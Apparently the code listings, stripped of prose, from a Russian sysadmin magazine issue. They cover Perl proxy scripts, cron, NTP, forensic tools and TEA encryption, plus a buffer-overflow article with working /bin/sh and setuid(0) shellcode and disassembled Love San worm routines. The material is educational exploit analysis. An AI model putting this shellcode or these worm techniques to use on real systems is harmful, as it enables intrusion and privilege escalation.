Transparent proxy. Быть или не быть? Дмитрий Репин #!/usr/bin/perl -w use strict; use Socket; # Создаётся сокет, привязывается ко всем адресам (для удобства) # на порт 8080 и включается прослушивание. socket(SERVER,PF_INET,SOCK_STREAM,getprotobyname('tcp')); setsockopt(SERVER,SOL_SOCKET,SO_REUSEADDR,1); bind(SERVER,sockaddr_in(8080,INADDR_ANY)); listen(SERVER,SOMAXCONN); $|=1; my $CR="\015\012"; # Приём входящих соединений while (1){ # Приём клиента, определение его адрес/порт/хост # и вывод на экран (для отладки) my $paddr = accept(CLIENT,SERVER); my ($ip,$port,$name) = remote($paddr); print "Connection from $ip:$port ($name)\n"; # Чтение всего запроса от клиента в одну переменную my $DATA; while(){ chomp; $_=~s/\r//g; last unless $_; $DATA.=$_."\n"; } # Запись запроса в лог-файл Log($DATA); # Теперь простая проверка на наличие в запросе нужных # заголовков, отправка соответствующего ответа клиенту # и запись ответов в лог-файл. if($DATA !~/Proxy\-Authorization/){ Log(Response407()); print CLIENT Response407(); }elsif($DATA !~/\012Authorization/){ Log(Response401()); print CLIENT Response401(); }else{ Log(Response200()); print CLIENT Response200(); } print "Connection closed.\n"; close CLIENT; # Закрытие текущего соединения } # Закрытие сокета сервера close SERVER; # Составление ответов сервера для удобства вынесено # в отдельные функции sub Response401{ return "HTTP/1.1 401 Unauthorized$CR". "Server: squid/2.5.STABLE3$CR". "Mime-Version: 1.0$CR". "Content-Type: text/html$CR". "Content-Length: 20$CR". "Expires: Wed, 26 Nov 2001 10:01:53 GMT$CR". "WWW-Authenticate: Basic realm=\" --== Protected web-Area ==--\"$CR". "Connection: close$CR$CR

401 Unauth

"; } sub Response407{ return "HTTP/1.1 407 Proxy Authentication Required$CR". "Server: squid/2.5.STABLE3$CR". "Mime-Version: 1.0$CR". "Content-Type: text/html$CR". "Content-Length: 20$CR". "Expires: Wed, 26 Nov 2001 10:01:53 GMT$CR". "Proxy-Authenticate: NTLM$CR". "Proxy-Authenticate: Basic realm=\"<-- 407 Protected Proxy-->\"$CR". "Connection: close$CR$CR

407 Unauth

"; } sub Response200{ return "HTTP/1.1 200 OK$CR". "Server: squid/2.5.STABLE3$CR". "Mime-Version: 1.0$CR". "Content-Type: text/html$CR". "Content-Length: 19$CR". "Expires: Wed, 26 Nov 2001 10:01:53 GMT$CR". "Connection: close$CR$CR

200 OK!!!

"; } # Функция определения адреса, порта и имени хоста клиента sub remote{ my $rem = shift; return undef unless $rem; my ($port,$ip) = sockaddr_in($rem); return (inet_ntoa($ip),$port,gethostbyaddr($ip,AF_INET)); } # Функция для записи в файл протокола sub Log{ open(F,">>connection.log"); print F scalar(localtime)."\n"; for(split/\n/,$_[0]){ print F "\t$_\n"; } print F "\n//====//\n\n"; close(F); } http_hdr_type headertype; if (NULL == r) { return -1; } else if (!r->flags.accelerated) { /* Proxy authorization on proxy requests */ headertype = HDR_PROXY_AUTHORIZATION; } else if (r->flags.internal) { /* WWW authorization on accelerated internal requests */ headertype = HDR_AUTHORIZATION; } else { #if AUTH_ON_ACCELERATION /* WWW authorization on accelerated requests */ headertype = HDR_AUTHORIZATION; #else debug(28, 1) ("aclAuthenticated: authentication not applicable on accelerated requests.\n"); return -1; #endif if (answer == ACCESS_REQ_PROXY_AUTH || aclIsProxyAuth(AclMatchedName)) { if (!http->flags.accel) { /* Proxy authorisation needed */ status = HTTP_PROXY_AUTHENTICATION_REQUIRED; } else { /* WWW authorisation needed */ status = HTTP_UNAUTHORIZED; } if (page_id == ERR_NONE) page_id = ERR_CACHE_ACCESS_DENIED; } else { status = HTTP_FORBIDDEN; if (page_id == ERR_NONE) page_id = ERR_ACCESS_DENIED; } #if IPF_TRANSPARENT natLookup.nl_inport = http->conn->me.sin_port; natLookup.nl_outport = http->conn->peer.sin_port; natLookup.nl_inip = http->conn->me.sin_addr; natLookup.nl_outip = http->conn->peer.sin_addr; #!/usr/bin/perl -w use strict; use Socket; # Локальный адрес мини-прокси my $maddr = sockaddr_in(30021,inet_aton('localhost')); # Допустим, мы уже знаем адрес удалённого FTP my $paddr = sockaddr_in(21,inet_aton('ftp.freebsd.org')); # Открываем сокет для прокси-сервера и начинаем прослушивать socket(SOCK,PF_INET,SOCK_STREAM,getprotobyname('tcp')) or die $!; setsockopt(SOCK,SOL_SOCKET,SO_REUSEADDR,1) or die $!; bind(SOCK,$maddr) or die $!; listen(SOCK,SOMAXCONN); # Перехватываем сигнал PIPE # Этот сигнал появляется при попытке работы с закрытым потоком $SIG{PIPE}=sub{ close(SERVER); close(CLIENT); close(SOCK); exit; } $|=1; # отключаем буферизацию потока STDOUT # Принимаем подключения while (accept(CLIENT,SOCK)){ print "Connection detect.\n"; # Соединяемся с удалённым FTP socket(SERVER,PF_INET,SOCK_STREAM,getprotobyname('tcp')) or die $!; connect(SERVER,$paddr); # Начинаем обмен информацией while(1){ my $server=''; # Отключаем буферизацию потоков клиента # и сервера select(CLIENT); $|=1; select(SERVER); $|=1; select(STDOUT); # Пока сервер не завершил передачу # идентификатором статуса принимаем все # данные, отдаём клиенту, а заодно выводим # на экран while($server !~/^\d{3}\s/){ $server=; print CLIENT $server; print $server; } # Принимаем команду от клиента и передаём # серверу. Также выводим на экран my $client=; print SERVER $client; print $client; } close SERVER; close CLIENT; } close SOCK; ipfw add 30002 fwd 127.0.0.1,30021 tcp from 192.168.0.0/24 to any 21 via xl0 direct_port PORT PROTOCOL direct_port 21 FTP, direct_port 443 SSL Работа по расписанию во FreeBSD Сергей Супрунов # at time # at 11:00pm who last –s –20 df ^D # at –t [[CC]YY]MMDDhhmm[.SS] // команда выполнится 1 декабря этого года в 15:30 # at –t 12011530 # at –f myjobs +2 minutes # batch –f myjobs +2 minutes # echo ‘fetch ftp://ftp.ru/pub/bigfile.avi’ | at 0200 # at midnight Jan 01 cp /home/myhome/temp/tariffs.html /usr/local/www/data/ ^D # batch cd /usr/src // мы же не хотим получить все это по почте? make buildworld > buildword.log ^D # atrun [-l average] [-d] crontab [-u user] (-l | -r | -e) Min Hour Day Month WDay Command # Запускать программу каждый вторник в 12:00 0 12 * * 2 /usr/home/admin/checkmail # Выполнять задание через день в январе, марте и с сентября # по декабрь 0 0 */2 1,3,9-12 * /usr/local/test/test # Запускать скрипт 1-го и 15-го числа каждого месяца в 2:05, # а также по воскресеньям (Day и WDay работают в режиме «ИЛИ») 5 2 1,15 * Sun /home/script # Выполнять 1-го числа каждого месяца в 0:00 @monthly /usr/local/billing/close_month.pl */5 * * * * root /usr/libexec/atrun 1 3 * * * root periodic daily 15 4 * * 6 root periodic weekly 30 5 1 * * root periodic monthly 0 * * * * /sbin/ping –с10 my.provider.ru | /usr/bin/grep ‘avg’ >> /var/log/ping.log 12 4 * * * /usr/sbin/ntpdate ntp.alaska.edu NTP – атомные часы на каждом столе Михаил Платов net time /setsntp:список_серверов_времени_через_пробел net time /querysntp net time /domain:имя_домена /set w32tm /config /syncfromflags:manual /manualpeerlist:PeerList w32tm /config /update server ntp.nasa.gov # A stratum 1 server at nasa.org server ntp1.demos.net # A stratum 2 server at demos.net restrict ntp.research.gov mask 255.255.255.255 nomodify notrap noquery restrict 192.168.1.0 mask 255.255.255.0 notrust nomodify notrap restrict 127.0.0.1 #restrict default ignore [root@nix]# ntpdate navobs1.wustl.e [root@nix]# ntpdate navobs1.wustl.e [root@nix]# ntpdate navobs1.wustl.e [root@nix tmp]# chkconfig –list ntpd [root@nix tmp]# chkconfig –level 035 ntpd on [root@nix]# /etc/init.d/ntpd start [root@nix]# ntpq -p Ошибки переполнения буфера извне и изнутри как обобщенный опыт реальных атак Часть 2 Крис Касперски Листинг 1. Пример структуры с переполняющимся буфером внутри (он выделен красным цветом) strict demo { int a; char buf[8]; int b; } Листинг 2. Пример динамического блока памяти, подверженного переполнению #define MAX_BUF_SIZE 8 #define MAX_STR_SIZE 256 char *p; … p = malloc(MAX_BUF_SIZE); … strncpy(p, MAX_STR_SIZE, str); Листинг 3. Размещение строковых аргументов на стеке с динамической генерацией завершающего символа нуля 00000000: 33C0 xor eax,eax 00000002: 50 push eax 00000003: 682E657865 push 06578652E ;"exe." 00000008: 682E636D64 push 0646D632E ;"dmc." Листинг 4. Таблица смещений наиболее «низкочастотных» символов, отсчитываемых от начала шифруемого кода символ смещения позиций всех его вхождений ---------------------------------------------- 69h 04h, 17h, 21h ABh 12h, 1Bh, 1Eh, 1Fh, 27h CCh 01h, 15h, 18h, 1Ch, 24h, 26h DDh 02h, 03h, 06h, 16h, 19h, 1Ah, 1Dh Листинг 5. Таблица остатков от деления смещений на 4 символ остаток от деления смещений позиций на 4 --------------------------------------------------- 69h 00h, 03h, 00h ABh 02h, 03h, 02h, 03h, 03h CCh 01h, 01h, 00h, 00h, 00h, 02h DDh 02h, 03h, 02h, 02h, 01h, 02h, 01h Листинг 6. Таблица подходящих позиций символов ключа в гамме символ подходящие позиции в гамме ------------------------------------- 69h 01h, 02h ABh 00h, 01h CCh 03h DDh 00h Листинг 7. Расшифровщик shell-кода, выдранный из вируса Love San .data:0040458B EB 19 jmp short loc_4045A6 .data:0040458B ; здесь мы прыгаем в середину кода, .data:0040458B ; чтобы потом совершить CALL назад .data:0040458B ; (CALL вперед содержит запрещенные символы нуля) .data:0040458D CODE XREF: sub_40458D+19Їp .data:0040458D sub_40458D proc near; .data:0040458D .data:0040458D 5E pop esi ; ESI := 4045ABh ; выталкиваем из стека адрес возврата, помещенный туда командой CALL .data:0040458D ; это необходимо для определения своего местоположения в памяти .data:0040458D .data:0040458D ; .data:0040458E 31 C9 xor ecx, ecx .data:0040458E ; обнуляем регистр ECX .data:0040458E ; .data:00404590 81 E9 89 FF FF sub ecx, -77h .data:00404590 ; увеличиваем ECX на 77h (уменьшаем ECX на –77h) ; комбинация XOR ECX,ECX/SUB ECX, -77h эквивалентна MOV ECX, 77h .data:00404590 ; за тем исключением, что ее машинное представление не содержит в себе нулей .data:00404590 .data:00404590 .data:00404596 .data:00404596 loc_404596: ; CODE XREF: sub_40458D+15Їj .data:00404596 81 36 80 BF 32 xor dword ptr [esi], 9432BF80h ; расшифровываем очередное двойное слово специально подобранной гаммой .data:00404596 .data:00404596 ; .data:0040459C 81 EE FC FF FF sub esi, -4h ; увеличиваем ESI на 4h (переходим к следующему двойному слову) .data:0040459C .data:0040459C ; .data:004045A2 E2 F2 loop loc_404596 .data:004045A2 ; мотаем цикл, пока есть что расшифровывать .data:004045A2 ; .data:004045A4 EB 05 jmp short loc_4045AB ; передаем управление расшифрованному shell-коду .data:004045A4 .data:004045A4 ; .data:004045A6 loc_4045A6: ; CODE XREF: .data:0040458B­j .data:004045A6 E8 E2 FF FF FF call sub_40458D ; прыгаем назад, забрасывая адрес возврата (а это – адрес следующей выполняемой инструкции) ; на вершину стека, после чего выталкиваем его в регистр ESI, что эквивалентно ;MOV ESI, EIP, но такой машинной команды в языке x86 процессоров нет .data:004045A6 .data:004045A6 .data:004045A6 .data:004045A6 .data:004045A6 ; .data:004045AB ; начало расшифрованного текста Листинг 8. Машинное представление относительных команд CALL 00000000: E804000000 call 000000009 00000005: 66E80101 call 00000010A 00000009: E8F7FFFFFF call 000000005 Листинг 9. Структура EXCEPTION REGISTRATION _EXCEPTION_REGISTRATION struc prev dd ? handler dd ? _EXCEPTION_REGISTRATION ends Листинг 10. Код, определяющий базовый адрес загрузки KERNEL32.DLL по SEH .data:00501007 xor eax, eax ; EAX := 0 .data:00501009 xor ebx, ebx ; EBX := 0 ; адрес обработчика .data:0050100B mov ecx, fs:[eax+4] ; указатель на следующий обработчик .data:0050100F mov eax, fs:[eax] ; на проверку условия цикла .data:00501012 jmp short loc_501019 ; -------------------------------------------------------- .data:00501014 .data:00501014 loc_501014: ; адрес обработчика .data:00501014 mov ebx, [eax+4] ; указатель на след. обработчик .data:00501017 mov eax, [eax] .data:00501019 .data:00501019 loc_501019: ; это последний обработчик? .data:00501019 cmp eax, 0FFFFFFFFh ; мотаем цикл, пока не конец .data:0050101C jnz short loc_501014 Листинг 11. Функция, определяющая базовый адрес загрузки KERNEL32.DLL путем поиска сигнатур «MZ» и «PE» в оперативной памяти 001B:0044676C CMP WORD PTR [EBP+00],5A4D ; это «MZ»? 001B:00446772 JNZ 00446781 ; -- нет, не MZ --> 001B:00446774 MOV EAX,[EBP+3C] ; на «PE» заголовок 001B:00446777 CMP DWORD PTR [EAX+EBP+0],4550 ; это «PE»? 001B:0044677F JZ 00446789 ; -- да, это PE --> 001B:00446781 SUB EBP,00010000 ; след. 1 Кб блок 001B:00446787 LOOP 0044676C ; мотаем цикл 001B:00446789 … Листинг 12. Реализация структуры PEB в W2K/XP PEB STRUC PEB_InheritedAddressSpace DB ? PEB_ReadImageFileExecOptions DB ? PEB_BeingDebugged DB ? PEB_SpareBool DB ? PEB_Mutant DD ? PEB_ImageBaseAddress DD ? ; +0Ch PEB_PebLdrData DD PEB_LDR_DATA PTR ? … PEB_SessionId DD ? PEB Листинг 13. Реализация структуры PEB_LDR_DATA в W2K/XP PEB_LDR_DATA STRUC DD ? ; +00 PEB_LDR_Flags DD ? ; +04 PEB_LDR_Unknown8 DD ? ; +08 ; +0Ch PEB_LDR_InLoadOrderModuleList LIST_ENTRY ? ; +14h PEB_LDR_InMemoryOrderModuleList LIST_ENTRY ? ; +1Ch PEB_LDR_InInitOrderModuleList LIST_ENTRY ? PEB_LDR_DATA ENDS LIST_ENTRY STRUC LE_FORWARD dd *forward_in_the_list ; + 00h LE_BACKWARD dd *backward_in_the_list ; + 04h LE_IMAGE_BASE dd imagebase_of_ntdll.dll ; + 08h … LE_IMAGE_TIME dd imagetimestamp ; + 44h LIST_ENTRY Листинг 14. Фрагмент червя Love San, ответственный за определение базового адреса загрузки KERNEL32.DLL и обеспечивающий червю завидную независимость от версии атакуемой операционной системы data:004046FE 64 A1 30 00 00 mov eax, large fs:30h ; PEB base data:00404704 85 C0 test eax, eax ; data:00404706 78 0C js short loc_404714 ; -- мы на w9x --> data:00404708 8B 40 0C mov eax, [eax+0Ch] ; PEB_LDR_DATA data:0040470B 8B 70 1C mov esi, [eax+1Ch] ; 1 элемент InInitOrderModuleList data:0040470E AD lodsd ; следующий элемент data:0040470F 8B 68 08 mov ebp, [eax+8] ; базовый адрес KERNEL32.DLL data:00404712 EB 09 jmp short loc_40471D data:00404714 ; ------------------------------------------- data:00404714 loc_404714: ; CODE XREF: kk_get_kernel32+A­j data:00404714 8B 40 34 mov eax, [eax+34h] data:00404717 8B A8 B8 00 00+ mov ebp, [eax+0B8h] data:00404717 data:0040471D loc_40471D: ; CODE XREF: kk_get_kernel32+16­j Листинг 15. Фрагмент червя Love San, ответственный за определение адреса таблицы экспортируемых имен .data:00404728 mov ebp, [esp+arg_4] ; базовый адрес загрузки KERNEL32 .data:0040472C mov eax, [ebp+3Ch] ; на PE-заголовок .data:0040472F mov edx, [ebp+eax+78h] ; на таблицу экспорта .data:00404733 add edx, ebp .data:00404735 mov ecx, [edx+18h] ; кол-во экспортируемых функций .data:00404738 mov ebx, [edx+20h] ; на таблицу экспортируемых имен .data:0040473B add ebx, ebp ; адрес таблицы экспортируемых имен Листинг 16. Фрагмент червя Love San, ответственный за определения индекса функции в таблице .data:0040473D loc_40473D: ; CODE XREF: kk_get_proc_adr+36Їj .data:0040473D jecxz short loc_404771 ; --> ошибка .data:0040473F dec ecx ; в ecx количество экспортируемых функций .data:00404740 mov esi, [ebx+ecx*4] ; смещение конца массива экспортируемых функций .data:00404743 add esi, ebp ; адрес конца массива экспортируемых функций .data:00404745 xor edi, edi ; EDI := 0 .data:00404747 cld ; сбрасываем флаг направления .data:00404748 .data:00404748 loc_404748: ; CODE XREF: kk_get_proc_adr+30Їj .data:00404748 xor eax, eax ; EAX := 0 .data:0040474A lodsb ; читаем очередной символ имени функции .data:0040474B cmp al, ah ; это конец строки? .data:0040474D jz short loc_404756 ; если конец, то прыгаем на конец .data:0040474F ror edi, 0Dh ; хешируем имя функции налету.. .data:00404752 add edi, eax ; …накапливая хеш-сумму в регистре EDI .data:00404754 jmp short loc_404748 ; .data:00404756 loc_404756: ; CODE XREF: kk_get_proc_adr+29­j .data:00404756 cmp edi, [esp+arg_0] ; это хеш «нашей» функции? .data:0040475A jnz short loc_40473D ; если нет, продолжить перебор Листинг 17. Фрагмент червя Love San, осуществляющий окончательное определение адреса API-функции в памяти .data:0040475C mov ebx, [edx+24h] ; смещение таблицы экспорта ординалов .data:0040475F add ebx, ebp ; адрес таблицы ординалов .data:00404761 mov cx, [ebx+ecx*2] ; получаем индекс в таблице адресов .data:00404765 mov ebx, [edx+1Ch] ; смещение экспортной таблицы адресо .data:00404768 add ebx, ebp ; адрес экспортной таблицы адресов .data:0040476A mov eax, [ebx+ecx*4] ; получаем смещение функции по индексу .data:0040476D add eax, ebp ; получаем адрес функции Листинг 18. Номера системных вызовов в Solaris/SPARC syscall %g1 %o0, %o1, %o2, %o3, %o4 exec 00Bh --> path = "/bin/ksh", --> [-->a0 = path,0] exec 00Bh --> path = "/bin/ksh", --> [-->a0 = path, -->a1= "-c" -->a2 = cmd, 0] setuid 017h uid = 0 mkdir 050h --> path = "b..", mode = (each value is valid) chroot 03Dh --> path = "b..", "." chdir 00Ch --> path = ".." ioctl 036h sfd, TI_GETPEERNAME = 5491h, --> [mlen = 54h, len = 54h, -->sadr = []] so_socket 0E6h AF_INET=2, SOCK_STREAM=2, prot=0, devpath=0, SOV_DEFAULT=1 bind 0E8h sfd, --> sadr = [33h, 2, hi, lo, 0, 0, 0, 0], len=10h, SOV_SOCKSTREAM = 2 listen 0E9h sfd, backlog = 5, vers = (not required in this syscall) accept 0EAh sfd, 0, 0, vers = (not required in this syscall) fcntl 03Eh sfd, F_DUP2FD = 09h, fd = 0, 1, 2 Листинг 19. Демонстрационный пример shell-кода под Solaris/SPARC char shellcode[]= /* 10*4+8 bytes */ "\x20\xbf\xff\xff" /* bn,a ; \ */ "\x20\xbf\xff\xff" /* bn,a ; +- текущий указатель команд в %o7 */ "\x7f\xff\xff\xff" /* call ; / */ "\x90\x03\xe0\x20" /* add %o7,32,%o0 ; в %o0 указатель на /bin/ksh */ "\x92\x02\x20\x10" /* add %o0,16,%o1 ; в %o1 указатель на свободную память */ "\xc0\x22\x20\x08" /* st %g0,[%o0+8] ; ставим завершающий ноль в /bin/ksh */ "\xd0\x22\x20\x10" /* st %o0,[%o0+16] ; зануляем память по указателю %o1 */ "\xc0\x22\x20\x14" /* st %g0,[%o0+20] ; the same */ "\x82\x10\x20\x0b" /* mov 0x0b,%g1 ; номер системной функции exec */ "\x91\xd0\x20\x08" /* ta 8 ; вызываем функцию exec */ "/bin/ksh"; Листинг 20. Номера системных вызовов в Solaris/x86 syscall %eax stack exec 0Bh ret, --> path = "/bin/ksh", --> [--> a0 = path, 0] exec 0Bh ret, --> path = "/bin/ksh", --> [--> a0 = path, --> a1 = "-c", --> a2 = cmd, 0] setuid 17h ret, uid = 0 mkdir 50h ret, --> path = "b..", mode = (each value is valid) chroot 3Dh ret, --> path = "b..","." chdir 0Ch ret, --> path = ".." ioctl 36h ret, sfd, TI_GETPEERNAME = 5491h, --> [mlen = 91h, len=91h, --> adr=[]] so socket E6h ret, AF_INET=2,SOCK STREAM=2,prot=0,devpath=0,SOV DEFAULT=1 bind E8h ret, sfd, --> sadr = [FFh, 2, hi, lo, 0,0,0,0],len=10h,SOV_SOCKSTREAM=2 listen E9h ret, sfd, backlog = 5, vers = (not required in this syscall) accept Eah ret, sfd, 0, 0, vers = (not required in this syscall) fcntl 3Eh ret, sfd, F_DUP2FD = 09h, fd = 0, 1, 2 Листинг 21. Демонстрационный пример shell-кода под Solaris/x86 char setuidcode[]= /* 7 bytes */ "\x33\xc0" /* xorl %eax,%eax ; EAX := 0 */ "\x50" /* pushl %eax ; заталкиваем в стек нуль */ "\xb0\x17" /* movb $0x17,%al ; номер системной функции setuid */ "\xff\xd6" /* call *%esi ; setuid(0) */ Листинг 22. Номера системных вызовов в Linux/x86 syscall %eax %ebx, %ecx, %edx exec 0Bh --> path = "/bin//sh", --> [--> a0 = path, 0] exec 0Bh --> path = "/bin//sh", --> [--> a0 = path, --> a1 = "-c", --> a2 = cmd, 0] setuid 17h uid = 0 mkdir 27h --> path = "b..", mode = 0 (each value is valid) chroot 3Dh --> path = "b..", "." chdir 0Ch --> path = ".." socketcall 66h getpeername = 7, --> [sfd, --> sadr = [],--> [len=10h]] socketcall 66h socket = 1, --> [AF_INET = 2, SOCK STREAM = 2,prot = 0] socketcall 66h bind = 2, --> [sfd, --> sadr = [FFh, 2, hi, lo, 0, 0, 0, 0], len =10h] socketcall 66h listen = 4, --> [sfd, backlog = 102] socketcall 66h accept = 5, --> [sfd, 0, 0] dup2 3Fh sfd, fd = 2, 1, 0 Листинг 23. Демонстрационный пример shell-кода под Linux/x86 char setuidcode[]= /* 8 bytes */ "\x33\xc0" /* xorl %eax,%eax ; EAX := 0 */ "\x31\xdb" /* xorl %ebx,%ebx ; EBX := 0 */ "\xb0\x17" /* movb $0x17,%al ; номер системной функции stuid */ "\xcd\x80" /* int $0x80 ; setuid(0) */ Листинг 24. Номера системных вызовов в BSD/x86 syscall %eax stack execve 3Bh ret, --> path = "//bin//sh", --> [--> a0 = 0], 0 execve 3Bh ret, --> path = "//bin//sh", --> [--> a0 = path, --> a1 = "-c", --> a2 = cmd, 0], 0 setuid 17h ret, uid = 0 mkdir 88h ret, --> path = "b..", mode = (each value is valid) chroot 3Dh ret, --> path = "b..", "." chdir 0Ch ret, --> path=".." getpeername 1Fh ret, sfd, --> sadr = [],--> [len = 10h] socket 61h ret, AF_INET = 2, SOCK_STREAM = 1, prot = 0 bind 68h ret, sfd, --> sadr = [FFh, 2, hi, lo, 0, 0, 0, 0], --> [10h] listen 6Ah ret, sfd, backlog = 5 accept 1Eh ret, sfd, 0, 0 dup2 5Ah ret, sfd, fd = 0, 1, 2 Листинг 25. Демонстрационный пример shell-кода под BSD/x86 char shellcode[]= /* 23 bytes */ "\x31\xc0" /* xorl %eax,%eax ; EAX := 0 */ "\x50" /* pushl %eax ; заталкиваем завершающий ноль в стек */ "\x68""//sh" /* pushl $0x68732f2f ; заталкиваем хвост строки в стек */ "\x68""/bin" /* pushl $0x6e69622f ; заталкиваем начало строки в стек */ "\x89\xe3" /* movl %esp,%ebx ; устанавливаем EBX на вершину стека */ "\x50" /* pushl %eax ; заталкиваем ноль в стек */ "\x54" /* pushl %esp ; передаем функции указатель на ноль */ "\x53" /* pushl %ebx ; передаем функции указатель на /bin/sh */ "\x50" /* pushl %eax ; передаем функции ноль */ "\xb0\x3b" /* movb $0x3b,%al ; номер системной функции execve */ "\xcd\x80" /* int $0x80 ; execve("//bin//sh", "",0); */; Листинг 26. Типовой ассемблерный шаблон для создания shell-кода, компиляция: ml.exe /c "file name.asm", линковка: link.exe /VXD "file name.obj" .386 .model flat .code start: jmp short begin get_eip: pop esi ; ... ; shell-код ; ... begin: call get_eip end start fopen/fread/for(a = FROM_CRYPT; a < TO_CRYPT; a+=sizeof(key)) buf[a] ^= key;/fwrite Листинг 27. Пример включения shell-кода в Си-программу unsigned char x86_fbsd_read[] = "\x31\xc0\x6a\x00\x54\x50\x50\xb0\x03\xcd\x80\x83\xc4" "\x0c\xff\xff\xe4"; Листинг 28. Классический вариант, компилируемый обычным способом: cl.exe /Ox file.c #include main() { MessageBox(0, "Sailor", "Hello", 0); } Листинг 29. Оптимизированный вариант, компилируемый так: cl.exe /c /Ox file.c, а линкуемый так: link.exe /ALIGN:32/DRIVER/ENTRY:my_main /SUBSYSTEM:console file.obj USER32.lib #include my_main() { MessageBox(0, "Sailor", "Hello", 0); } Листинг 30. Фрагмент исходного кода червя char sploit[] = { 0x47, 0x45, 0x54, 0x20, 0x2F, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, … 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x2E, 0x68, 0x74, 0x72, 0x20, 0x48, 0x54, 0x54, 0x50, 0x2F, 0x31, 0x2E, 0x30, 0x0D, 0x0A, 0x0D,0x0A }; Свободные утилиты forensic Сергей Яремчук #dd if=/dev/hda9 of=./system.img # ./grave-robber # ./grave-robber -c /data1 -o LINUX2 #./mactime 1/10/2004 ./pcat 881 | strings | less # ./ils -or /dev/hda9 # ./icat # ./icat /dev/hda9 107 > /tmp/delete_file # ./file /tmp/delete_file # ./ils -rf ext2fs /dev/hda9 | awk -F '|' '($2=="f") {print $1}' | while read i; do /usr/local/tct-1.14/bin/icat /dev/hda9$i > /tmp/deleted/$i; done # ./unrm /dev/hda9 > /home/hda9_urm.res # ./unrm /image/system.img > /home/system_urm.res # ./lazarus -h /home/hda9_urm.res # egrep -l 'keyword1|keyword2|...' blocks/*.txt > allfiles # ls bin # ./bcat -h /dev/hda9 9364 512 # ./find_inode /dev/hda9 9364 # ./find_inode /image/system.img 12345 # ./fls -rd /dev/hda9 #./find_file -adu /dev/hda9 107 # ./find_file -a /dev/hda9 107 # ls -al /data1/sort # ./blockcalc -u 9364 /image/system.img # ./mmls -? # ./mmls -t dos /image/system.img # ./dstat # ./dstat -f linux-ext3 /image/system.img 9364 # ./dstat -v -f linux-ext3 /image/system.img 19496 # ./fsstat -f linux-ext3 /data2/bin.img # ./hfind -h # md5sum /bin/* /sbin/* /usr/bin/* /usr/bin/* /usr/local/bin/* /usr/local/sbin/* > system.md5 # ls # md5sum /bin/* > bin.md5 # ./hfind -f bin.md5 system.md5 #mkdir data # ./sorter -d data -f linux-ext3 /image/system.img # ls data # ./autopsy Блочные шифры Станислав Гошко const Delta=$9E3779B9; procedure EnCrypt(var y,z:longword; k0,k1,k2,k3:longword); var a,sum:longword; begin sum:=0; for a:=0 to 31 do begin inc(sum,Delta); inc(y,((z shl 4)+k0) xor (z+sum) xor ((z shr 5)+k1)); inc(z,((y shl 4)+k2) xor (y+sum) xor ((y shr 5)+k3)); end; end; procedure DeCrypt(var y,z:longword; k0,k1,k2,k3:longword); var a,sum:longword; begin sum:=Delta shl 5; for a:=0 to 31 do begin dec(z,((y shl 4)+k2) xor (y+sum) xor ((y shr 5)+k3)); dec(y,((z shl 4)+k0) xor (z+sum) xor ((z shr 5)+k1)); dec(sum,Delta); end; end; ;--------------------------------------------------------; ; BUFFER TO ENCRYPT -> EDX ; ; KEY TO ENCRYPT -> EAX ; ; SIZE OF BUFFER (div 4 = 0) -> ECX ; ;--------------------------------------------------------; total_encrypt: pusha ; Сохраняем всё в стеке mov esi,eax ; Кладем в esi – eax mov edi,edx ; Кладём в edi – edx work__: pusha ; Сохраняем всё в стеке call Encrypt ; Шифруем первые 64 бита данных popa ; Восстанавливаем из стека add edi,8 ; Добавляем к edi – 8 sub ecx,7 ; Отнимаем от ecx – 7 loop work__ ; Продолжаем шифровать popa ; Восстанавливаем из стека ret ; Возврат из подпрограммы ;--------------------------------------------------------; ; BUFFER TO DECRYPT -> EDX ; ; KEY TO DECRYPT -> EAX ; ; SIZE OF BUFFER (div 4 = 0) -> ECX ; ;--------------------------------------------------------; total_decrypt: pusha ; Сохраняем всё в стеке mov esi,eax ; Кладём в esi – eax mov edi,edx ; Кладём в edi – edx work2__: pusha ; Сохраняем всё в стеке call decrypt ; Шифруем первые 64 бита данных popa ; Восстанавливаем из стека add edi,8 ; Добавляем к edi – 8 sub ecx,7 ; Отнимаем от ecx – 7 loop work2__ ; Продолжаем шифровать popa ; Восстанавливаем из стека ret ; Возврат из подпрограммы ;--------------------------------------------------------; Encrypt: push edi ; Сохраняем edi в стеке mov ebx,v0 ; Кладем в ebx первые 32 бита данных mov ecx,v1 ; В ecx кладем вторые 32 бита данных xor eax,eax ; Обнуляем eax mov edx,9e3779b9h ; В edx -> sqr(5)-1 * 231 mov edi,32 ; Кладем в edi - 32 ELoopR: add eax,edx ; Добавляем к eax – edx mov ebp,ecx ; Кладём в ebp – ecx shl ebp,4 ; Сдвиг ebp на 4 бита влево add ebx,ebp ; Добавляем к ebx – ebp mov ebp,k0 ; Кладём в ebx первые 32 бита ключа xor ebp,ecx ; Сравниваем их со вторыми 32 битами данных add ebx,ebp ; Добавляем к первым 32 битам данных результат mov ebp,ecx ; Кладём в ebp – ecx shr ebp,5 ; Делим ebp на 32 xor ebp,eax ; Сравниваем ebp с eax add ebx,ebp ; Добавляем к ebx – ebp add ebx,k1 ; Добавляем к ebx – вторые 32 бита ключа ; mov ebp,ebx ; Кладем в ebp – ebx shl ebp,4 ; Сдвиг ebp на 4 бита влево add ecx,ebp ; Добавляем к ecx – ebp mov ebp,k2 ; Кладем в ebp третьи 32 бита ключа xor ebp,ebx ; Сравниваем ebp с ebx add ecx,ebp ; Добавляем к ecx – ebp mov ebp,ebx ; Кладем в ebp – ebx shr ebp,5 ; Сдвиг ebp вправо на 5 бит xor ebp,eax ; Сравниваем ebp с eax add ecx,ebp ; Добавляем к ecx – ebp add ecx,k3 ; Добавляем к ecx – четвёртые 32 бита ключа dec edi ; Уменьшаем edi на единицу jnz ELoopR ; Шифруем дальше pop edi ; Вынимаем из стека edi mov v0,ebx ; Кладем результаты шифрования в отведённое mov v1,ecx ; для них место ret ; Возврат из подпрограммы ;-------------------------------------------------------; Decrypt: push edi ; Сохраняем edi в стеке mov ebx,v0 ; Кладем в ebx первые 32 бита данных mov ecx,v1 ; В ecx кладем вторые 32 бита данных mov edx,9e3779b9h ; В edx -> sqr(5)-1 * 231 mov eax,edx ; Кладем в eax – ed shl eax,5 ; Сдвиг eax влево на 5 бит mov edi,32 ; Кладем в edi – 32 DLoopR: mov ebp,ebx ; Кладем в ebp – ebx shl ebp,4 ; Сдвиг ebp на 4 бита влево sub ecx,ebp ; Отнимаем от ecx – ebp 